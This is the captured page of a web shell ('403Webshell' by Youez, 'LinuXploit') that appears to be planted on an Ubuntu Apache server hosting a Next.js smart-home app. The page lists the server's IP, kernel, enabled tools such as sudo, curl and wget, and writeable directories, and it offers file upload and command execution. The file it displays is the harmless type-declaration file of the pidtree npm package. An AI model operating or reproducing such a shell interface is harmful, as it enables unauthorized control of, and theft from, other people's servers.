403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/smart-home-nextjs/current/node_modules/pidtree/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/smart-home-nextjs/current/node_modules/pidtree/index.d.ts
declare namespace PidTree {
  export interface Options {
    /**
     * Include the provided PID in the list. Ignored if -1 is passed as PID.
     * @default false
     */
    root?: boolean;
  }

  export interface AdvancedResult {
    /**
     * PID of the parent.
     */
    ppid: number;
    /**
     * PID
     */
    pid: number;
  }

  export type Result = number;
}

/**
 * Get the list of children pids of the given pid.
 * @param  pid A PID. If -1 will return all the pids.
 * @param  callback Called when the list is ready.
 */
declare function pidtree(
  pid: string | number,
  callback: (error: Error | undefined, result: PidTree.Result[]) => void
): void;

/**
 * Get the list of children pids of the given pid.
 * @param  pid A PID. If -1 will return all the pids.
 * @param  options Options object.
 * @param  callback Called when the list is ready.
 */
declare function pidtree(
  pid: string | number,
  options: PidTree.Options,
  callback: (error: Error | undefined, result: PidTree.Result[]) => void
): void;

/**
 * Get the list of children pids of the given pid.
 * @param  pid A PID. If -1 will return all the pids.
 * @param  options Options object.
 * @param  callback Called when the list is ready.
 */
declare function pidtree(
  pid: string | number,
  options: PidTree.Options & {advanced: true},
  callback: (error: Error | undefined, result: PidTree.AdvancedResult[]) => void
): void;

/**
 * Get the list of children pids of the given pid.
 * @param  pid A PID. If -1 will return all the pids.
 * @param  [options] Optional options object.
 * @returns A promise containing the list.
 */
declare function pidtree(
  pid: string | number,
  options?: PidTree.Options
): Promise<PidTree.Result[]>;

/**
 * Get the list of children pids of the given pid.
 * @param  pid A PID. If -1 will return all the pids.
 * @param  options Options object.
 * @returns A promise containing the list.
 */
declare function pidtree(
  pid: string | number,
  options: PidTree.Options & {advanced: true}
): Promise<PidTree.AdvancedResult[]>;

export = pidtree;

Youez - 2016 - github.com/yon3zu
LinuXploit